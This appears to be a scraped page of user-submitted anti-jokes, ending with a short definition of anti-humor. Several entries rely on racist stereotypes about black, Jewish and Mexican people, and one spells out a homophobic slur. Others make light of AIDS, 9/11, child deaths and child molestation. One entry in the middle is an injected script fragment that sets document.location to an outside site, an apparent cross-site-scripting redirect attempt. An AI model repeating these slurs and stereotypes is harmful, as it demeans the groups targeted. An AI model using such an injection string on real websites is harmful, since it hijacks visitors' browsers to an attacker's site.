Q:What did the homeless guy say to the business man on the cell phone A: Nothing because he doesn't want to disturb his phone call

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What's worse than finding a worm in your apple? Having a giant, angry ape on steroids rip your heart out and eat it before your eyes as you painfully die from the unbearable pain and rapid blood loss.

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What's worse than being named SAID? Having AIDS.. And getting a bee sting - it hurts like ****!

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Have you seen Ray Charles' new house? Neither has he...

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A blonde, a brunette, and a redhead become stranded on a desert island. As they are searching for food and shelter, they come across a mystical-looking lamp. They rub the lamp, but nothing happens because genies don't exist.

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What's worse than losing your phone? 9/11

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Why was darren too late for school today...? She got hit by the bus

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Ask me if I'm well Are you well? No

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Your mom is so fat, that i don't think she's attractive anymore.

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What did the black girl say when sho dropped her phone? Oh crap, I dropped my phone.

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Kid One: "Hey, you! Do you know how to spell "I CUP'?" Kid Two: " Sure, F-A-G....G-O-T..." Kid One: ".........."

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"'>document.location.href="http://cramik.org"

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"Hey ask me if i'm fat" "Are you fat" "Leave me alone"

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Knock Knock Who's There? Children Protective Services. Your kids are dead.

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Q: What do you call a black man with no arms and no legs? A: Whatever his first name is.

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Why did the tomato blush? It didn't, tomatoes are naturally red by colour.

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Your mom is so ugly that you should buy her a paper bag to cover her face because she is just so very unattractive that it burns mine and everyone else's eyes.

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Q: What's the difference between Osama's death and Paris Hilton's bra? A: One is Osama's death and the other is Paris Hilton's bra.

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Knock Knock Who's there? Ben, you just called me. Aren't we supposed to go jogging. Oh yea, I lost track of time. Is it cold out? Yea it is. You should bring a jacket. Alright, can you get me a water? Yea, no problem. Thankyou.

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What did the doctor say to his wife? We have grown apart over the years, I want a divorce.

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A black, jew, mexican, and american are on the boat. The boat begins to sink. As an idea, they all throw stuff off the boat to try to stay afloat. The black throws off cotton, the jew throws off yamakas, and the mexican throws off sombreros. Then, the american throws off the mexican because there are too many in his country. The mexican drowns. The boat still sinks and the american goes to hell while the other go to heaven.

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What did the black man get for christmas? A present.

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What did the convicted pedophile do to the ten year old boy? He molested him.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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